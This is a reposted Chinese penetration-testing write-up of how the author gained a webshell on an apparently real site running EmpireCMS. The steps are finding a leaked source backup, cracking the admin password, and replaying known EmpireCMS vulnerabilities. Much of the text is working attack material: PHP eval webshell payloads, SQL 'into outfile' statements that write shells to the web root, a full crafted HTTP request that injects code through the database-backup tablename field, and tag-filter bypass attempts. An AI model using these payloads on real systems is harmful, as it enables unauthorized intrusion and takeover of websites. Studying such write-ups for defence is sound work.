扫码领资料
获网安教程
免费&进群
文章所述漏洞已经提交至漏洞平台,且所有恶意操作均已复原
http://www.xxx.com.cn/www.zip
老规矩拿到源码先通关关键词找敏感信息
key
pwd
passwd
password
找到了半天居然找不到一个有效的密码
最后在robots.txt中看到CMS的信息-EmpireCMS
查询知道是开源cms后,直接百度查询数据表结构
知道了管理员记录表为phome_enewsuser,在源码里全局搜索
点击进去得到管理员用户名,密码hash和盐值
直接解md5得到口令
Kite/kite
得到口令后就是找到后台地址,由于是开源的百度一下就有了
看一眼目录并没有修改后台地址,所以直接访问
http://www.xxx.com.cn/e/admin/
得到具体的版本号为6.6
登录到后台后,因为是开源CMS,历史漏洞才是渗透的关键
直接搜索empireCMS漏洞,开始复现历史漏洞
还没有开始就已经结束
Table 'hdm1010482_db.phome_enewstempgroup' doesn't exist
好家伙,这是把表都删了吗
EmpireCMS 7.5以及之前版本中的e/class/moddofun.php文件的LoadInMod函数存在安全漏洞。攻击者可利用该漏洞上传任意文件。
在本地先新建一个test.php.mod文件,内容为
<?php file_put_contents("lyy.php","<?php @eval(\$_POST['lyy']); ?>");?>
填入任意表名然后选择马上导入
又是一个表不存在,GG
EmpireCMS7.5及之前版本中的admindbDoSql.php文件存在代码注入漏洞。
也就是后台提供了一个sql语句执行
只要服务器mysql配置secure_file_priv 不当,就可以向服务器写入文件
Payload
select '<?php @eval($_POST[123])?>' into outfile '绝对路径/e/admin/lyy.php'
因为要向站点写入文件,所以必须知道绝对路径才行。
因为是无回显执行,也不能通过show mysql变量获取部分路径,所以也pass了
show variables like '%datadir%';
empirecms 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。
选择任意一个表,开始备份抓包
将tablename字段改为payload
@eval($_POST[123])
请求包
POST /e/admin/ebak/phome.php HTTP/1.1
Host: www.xxx.com.cn
Content-Length: 285
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.xxx.com.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.xxx.com.cn/e/admin/ebak/ChangeTable.php?mydbname=hdm1010482_db
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: bxubwecmsdodbdata=empirecms; bxubwloginuserid=1; bxubwloginusername=Kite; bxubwloginlevel=1; bxubweloginlic=empirecmslic; bxubwloginadminstyleid=1; bxubwloginrnd=F3JiUXpyeXm6mWPTsdUG; bxubwloginecmsckpass=e816ccfcb01f4ed8ee0ad531de6fa67c; bxubwtruelogintime=1640762619; bxubwlogintime=1640762630
Connection: closephome=DoEbak&mydbname=hdm1010482_db&baktype=phpinfo()&filesize=300&bakline=500&autoauf=1&bakstru=1&dbchar=gbk&bakdatatype=1&mypath=hdm1010482_db_20211229152350&insertf=replace&waitbaktime=0&readme=&autofield=&tablename%5B%[email protected]($_POST[123])&chkall=on&Submit=%BF%AA%CA%BC%B1%B8%B7%DD
回显得到备份文件夹名
hdm1010482_db_20211229152350
webshell连接备份文件夹下的config.php
http://www.xxx.cn/e/admin/ebak/bdata/hdm1010482_db_20211229152350/config.php
成功getshell
因为手里有源码,就跟了一下这个漏洞
首先定位
直接全局搜索config.php就找到了
在e/admin/ebak/class/functions.php文件中Ebak_DoEbak存在文件写入操作
$string="<?php
\$b_table=\"".$b_table."\";
".$d_table."
\$b_baktype=".$add['baktype'].";
\$b_filesize=".$add['filesize'].";
\$b_bakline=".$add['bakline'].";
\$b_autoauf=".$add['autoauf'].";
\$b_dbname=\"".$dbname."\";
\$b_stru=".$bakstru.";
\$b_strufour=".$bakstrufour.";
\$b_dbchar=\"".addslashes($add['dbchar'])."\";
\$b_beover=".$beover.";
\$b_insertf=\"".addslashes($insertf)."\";
\$b_autofield=\",".addslashes($add['autofield']).",\";
\$b_bakdatatype=".$bakdatatype.";
?>";
$cfile=$bakpath."/".$add['mypath']."/config.php";
WriteFiletext_n($cfile,$string);
可以看到直接对$d_table变量进行拼接
再看看写函数WriteFiletext_n
也没有对写入内容进行过滤,那么只需要知道如何控制$d_table变量值即可
crtl+左键跟到上面
而$count是$tablename的数量,$tablename是$add中tablename的键值
找到调用Ebak_DoEbak函数的位置,知道$add就是$_POST
那就很清楚了,他对POST传参的tablename进行了处理产生两个变量
$b_table和$d_table,其中$b_table是被双引号包裹无法利用的
但是$d_table没有双引号被包裹,且没有任意过滤直接写入.php文件,导致命令执行
其他参数大部分是被双引号包裹的
没有被双引号包裹的参数都被强转int,如果传str会返回0 所以pass
在通过漏洞4获得站点真实路径后我又构造sql语句,尝试向站点直接webshell
select '<?php phpinfo();?>' into outfile '/data/home/hmu072095/htdocs/e/admin/lyy.php'
虽然爆了一个数据库连接错误,但是语句被成功执行,只是被写入的内容被替换成了空
可以成功访问但没有内容
可以写入正常字符
select 'test' into outfile '/data/home/hmu072095/htdocs/e/admin/1.txt'
初步判断是对php标签做了过滤,尝试其他写法进行绕过
1.select '<? phpinfo(); ?>' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'
2.select '<script language="php"> phpinfo(); </script>' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'
3.select '<?php @eval($_POST[1])?>' into outfile '/data/home/hmu072095/htdocs/e/admin/ly.php'
只有最后的asp风格成功写入
尝试访问无法执行 查了一下linux上默认不开PHP短标签配置项,溜了溜了
还是以备份文件泄露为入口,最后成功getshell。因为是开源的CMS,主要进行测试历史漏洞,由于二开的魔改,一次的渗透流程相当于把EmpireCMS的能getshell的历史漏洞基本复现了一遍,还是有一点收获的。
作者:先知社区【lyy】
转载自:https://xz.aliyun.com/t/10740
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
(hack视频资料及工具)
(部分展示)
往期推荐
【精选】SRC快速入门+上分小秘籍+实战指南
爬取免费代理,拥有自己的代理池
漏洞挖掘|密码找回中的套路
渗透测试岗位面试题(重点:渗透思路)
漏洞挖掘 | 通用型漏洞挖掘思路技巧
干货|列了几种均能过安全狗的方法!
一名大学生的黑客成长史到入狱的自述
攻防演练|红队手段之将蓝队逼到关站!
巧用FOFA挖到你的第一个漏洞